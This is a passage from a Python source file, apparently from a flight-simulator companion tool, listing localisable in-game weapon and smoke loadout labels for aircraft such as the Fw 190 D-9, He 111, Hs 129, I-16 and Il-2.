21cm WGr.42 [2]'), 6: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780], 21cm WGr.42 [2]'), 7: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [780], 21cm WGr.42 [2]'), 8: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780]'), 9: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780], SD 70 [4]'), 10: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780], SC 250 [1]'), 11: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780], SC 500 [1]'), 12: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780], 21cm WGr.42 [2]'), 13: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780], 21cm WGr.42 [2]'), 14: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780], 21cm WGr.42 [2]'), 15: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [780], 21cm WGr.42 [2]'), 16: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110]'), 17: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110], SD 70 [4]'), 18: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110], SC 250 [1]'), 19: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110], SC 500 [1]'), 20: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 21: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 22: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 23: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 24: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110]'), 25: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110], SD 70 [4]'), 26: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110], SC 250 [1]'), 27: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110], SC 500 [1]'), 28: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 29: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 30: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 31: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], MK 108 HE [110], 21cm WGr.42 [2]'), 32: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500]'), 33: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500]'), 34: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SD 70 [4]'), 35: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], SC 250 [2]'), 36: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], R-Hl. Pz.Bl. 1 [12]'), 37: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], R-Sprgr. M8 [12]'), 38: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SD 70 [4]'), 39: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SD 70 [8]'), 40: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], SD 70 [4], SC 250 [2]'), 41: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SC 250 [1]'), 42: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SC 250 [1], SD 70 [4]'), 43: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], SC 250 [3]'), 44: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SC 500 [1]'), 45: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SC 500 [1], SD 70 [4]'), 46: pgettext_lazy('aircraft_payload', 'MG 151/20 AP/HE [500], SC 1000 [1]'), 47: pgettext_lazy('aircraft_payload', 'Empty'), 48: pgettext_lazy('aircraft_payload', 'Empty'), 49: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 50: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 51: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 52: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 53: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 54: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 55: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 56: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 57: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 58: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 59: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 60: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'fw 190 d-9': { 0: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500]'), 1: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SD 70 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SC 250 [1]'), 3: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], SC 500 [1]'), 4: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], 21cm WGr.42 [2]'), 5: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], 21cm WGr.42 [2]'), 6: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], 21cm WGr.42 [2]'), 7: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], 21cm WGr.42 [2]'), 8: pgettext_lazy('aircraft_payload', 'MG 131 AP/HE [950], MG 151/20 AP/HE [500], R4M Orkan [26]'), 9: pgettext_lazy('aircraft_payload', 'Empty'), 10: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'halberstadt cl.ii': { 0: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500]'), 1: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000]'), 2: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 12.5 kg. P.u.W [12]'), 3: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 50 kg. P.u.W [1], 12.5 kg. P.u.W [8]'), 4: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 50 kg. P.u.W [3]'), 5: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 12.5 kg. P.u.W [4]'), 6: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 50 kg. P.u.W [1]'), 7: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 12.5 kg. P.u.W [12]'), 8: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 50 kg. P.u.W [1], 12.5 kg. P.u.W [8]'), 9: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 50 kg. P.u.W [3]'), 10: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 12.5 kg. P.u.W [4]'), 11: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 50 kg. P.u.W [1]'), 12: pgettext_lazy('aircraft_payload', 'Empty'), 13: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 23: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 24: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'halberstadt cl.ii 200hp': { 0: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500]'), 1: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000]'), 2: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 12.5 kg. P.u.W [12]'), 3: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 50 kg. P.u.W [1], 12.5 kg. P.u.W [8]'), 4: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 50 kg. P.u.W [3]'), 5: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 12.5 kg. P.u.W [4]'), 6: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500], 50 kg. P.u.W [1]'), 7: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 12.5 kg. P.u.W [12]'), 8: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 50 kg. P.u.W [1], 12.5 kg. P.u.W [8]'), 9: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 50 kg. P.u.W [3]'), 10: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 12.5 kg. P.u.W [4]'), 11: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], 50 kg. P.u.W [1]'), 12: pgettext_lazy('aircraft_payload', 'Empty'), 13: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 19: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 20: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 21: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 22: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 23: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 24: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'he 111 h-16': { 0: pgettext_lazy('aircraft_payload', 'SC 50 [16]'), 1: pgettext_lazy('aircraft_payload', 'SC 50 [32]'), 2: pgettext_lazy('aircraft_payload', 'SC 250 [4]'), 3: pgettext_lazy('aircraft_payload', 'SC 250 [8]'), 4: pgettext_lazy('aircraft_payload', 'SC 250 [4], SC 50 [16]'), 5: pgettext_lazy('aircraft_payload', 'SC 500 [1], SC 50 [16]'), 6: pgettext_lazy('aircraft_payload', 'SC 500 [1], SC 250 [4]'), 7: pgettext_lazy('aircraft_payload', 'SC 500 [2]'), 8: pgettext_lazy('aircraft_payload', 'SC 1000 [1], SC 50 [16]'), 9: pgettext_lazy('aircraft_payload', 'SC 1000 [1], SC 250 [4]'), 10: pgettext_lazy('aircraft_payload', 'SC 1000 [2]'), 11: pgettext_lazy('aircraft_payload', 'SC 1800 [1], SC 50 [16]'), 12: pgettext_lazy('aircraft_payload', 'SC 1800 [1], SC 250 [4]'), 13: pgettext_lazy('aircraft_payload', 'SC 1800 [2]'), 14: pgettext_lazy('aircraft_payload', 'SC 1800 [1], SC 1000 [1]'), 15: pgettext_lazy('aircraft_payload', 'SC 2500 [1]'), 16: pgettext_lazy('aircraft_payload', 'SC 2500 [1], SC 50 [16]'), 17: pgettext_lazy('aircraft_payload', 'SC 2500 [1], SC 250 [4]'), 18: pgettext_lazy('aircraft_payload', 'SC 2500 [1], SC 1000 [1]'), 19: pgettext_lazy('aircraft_payload', 'Empty'), 20: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 24: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 25: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 26: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 27: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 28: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 29: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 30: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 31: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'he 111 h-6': { 0: pgettext_lazy('aircraft_payload', 'SC 50 [16]'), 1: pgettext_lazy('aircraft_payload', 'SC 250 [4]'), 2: pgettext_lazy('aircraft_payload', 'SC 500 [1], SC 50 [16]'), 3: pgettext_lazy('aircraft_payload', 'SC 500 [1], SC 250 [4]'), 4: pgettext_lazy('aircraft_payload', 'SC 1000 [2]'), 5: pgettext_lazy('aircraft_payload', 'SC 1000 [1], SC 50 [16]'), 6: pgettext_lazy('aircraft_payload', 'SC 1000 [1], SC 250 [4]'), 7: pgettext_lazy('aircraft_payload', 'SC 1800 [2]'), 8: pgettext_lazy('aircraft_payload', 'SC 1800 [1], SC 50 [16]'), 9: pgettext_lazy('aircraft_payload', 'SC 1800 [1], SC 250 [4]'), 10: pgettext_lazy('aircraft_payload', 'SC 1800 [1], SC 1000 [1]'), 11: pgettext_lazy('aircraft_payload', 'SC 2500 [1]'), 12: pgettext_lazy('aircraft_payload', 'SC 2500 [1], SC 1000 [1]'), 13: pgettext_lazy('aircraft_payload', 'Empty'), 14: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 16: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 17: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 18: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 19: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 20: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 21: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 22: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 23: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 24: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 25: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'hs 129 b-2': { 0: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500]'), 1: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], SC 50 [4]'), 2: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], SC 50 [6]'), 3: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], SC 250 [1]'), 4: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], SC 250 [1], SC 50 [2]'), 5: pgettext_lazy('aircraft_payload', 'MG 17 AP [6000], MG 151/15 AP/HE [500]'), 6: pgettext_lazy('aircraft_payload', 'MG 17 AP [6000], MG 151/15 AP/HE [500], SC 50 [2]'), 7: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 101 AP [30]'), 8: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 101 HE [30]'), 9: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 101 AP [30], SC 50 [2]'), 10: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 101 HE [30], SC 50 [2]'), 11: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 103 AP [80]'), 12: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 103 HE [80]'), 13: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 103 AP/HE [80]'), 14: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 103 AP [80], SC 50 [2]'), 15: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 103 HE [80], SC 50 [2]'), 16: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/15 AP/HE [500], MK 103 AP/HE [80], SC 50 [2]'), 17: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500]'), 18: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], SC 50 [4]'), 19: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], SC 50 [6]'), 20: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], SC 250 [1]'), 21: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], SC 250 [1], SC 50 [2]'), 22: pgettext_lazy('aircraft_payload', 'MG 17 AP [6000], MG 151/20 AP/HE [500]'), 23: pgettext_lazy('aircraft_payload', 'MG 17 AP [6000], MG 151/20 AP/HE [500], SC 50 [2]'), 24: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 101 AP [30]'), 25: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 101 HE [30]'), 26: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 101 AP [30], SC 50 [2]'), 27: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 101 HE [30], SC 50 [2]'), 28: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 103 AP [80]'), 29: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 103 HE [80]'), 30: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 103 AP/HE [80]'), 31: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 103 AP [80], SC 50 [2]'), 32: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 103 HE [80], SC 50 [2]'), 33: pgettext_lazy('aircraft_payload', 'MG 17 AP [2000], MG 151/20 AP/HE [500], MK 103 AP/HE [80], SC 50 [2]'), 34: pgettext_lazy('aircraft_payload', 'Empty'), 35: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 36: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 37: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 38: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 39: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 40: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 41: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 42: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 43: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 44: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 45: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 46: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'i-16 type 24': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], FAB-50sv [2]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], FAB-100M [2]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [4]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [4]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [4]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [4]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [6]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [6]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [6]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [2800], ROS-82 [6]'), 11: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180]'), 12: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], FAB-50sv [2]'), 13: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], FAB-100M [2]'), 14: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [4]'), 15: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [4]'), 16: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [4]'), 17: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [4]'), 18: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [6]'), 19: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [6]'), 20: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [6]'), 21: pgettext_lazy('aircraft_payload', 'SHKAS AP [1000], SHVAK AP/HE [180], ROS-82 [6]'), 22: pgettext_lazy('aircraft_payload', 'Empty'), 23: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 24: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 25: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 26: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 27: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 28: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 29: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 30: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 31: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 32: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 33: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 34: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'il-2 mod.1941': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [4]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [6]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6]'), 11: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6]'), 12: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-100M [4]'), 13: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4]'), 14: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4]'), 15: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4]'), 16: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-100M [6]'), 17: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [6]'), 18: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [6]'), 19: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [6]'), 20: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], ROS-82 [8]'), 21: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], ROS-82 [8]'), 22: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], ROS-82 [8]'), 23: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], ROS-82 [8]'), 24: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [4], ROS-82 [8]'), 25: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], ROS-82 [8]'), 26: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], ROS-82 [8]'), 27: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], ROS-82 [8]'), 28: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [6], ROS-82 [8]'), 29: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], ROS-82 [8]'), 30: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], ROS-82 [8]'), 31: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], ROS-82 [8]'), 32: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-100M [4], ROS-82 [8]'), 33: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4], ROS-82 [8]'), 34: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4], ROS-82 [8]'), 35: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4], ROS-82 [8]'), 36: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-250sv [2]'), 37: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-250sv [2]'), 38: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-250sv [2]'), 39: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-250sv [2]'), 40: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], RBS-82 [8]'), 41: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], RBS-82 [8]'), 42: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], RBS-82 [8]'), 43: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], RBS-82 [8]'), 44: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [4], RBS-82 [8]'), 45: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], RBS-82 [8]'), 46: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], RBS-82 [8]'), 47: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 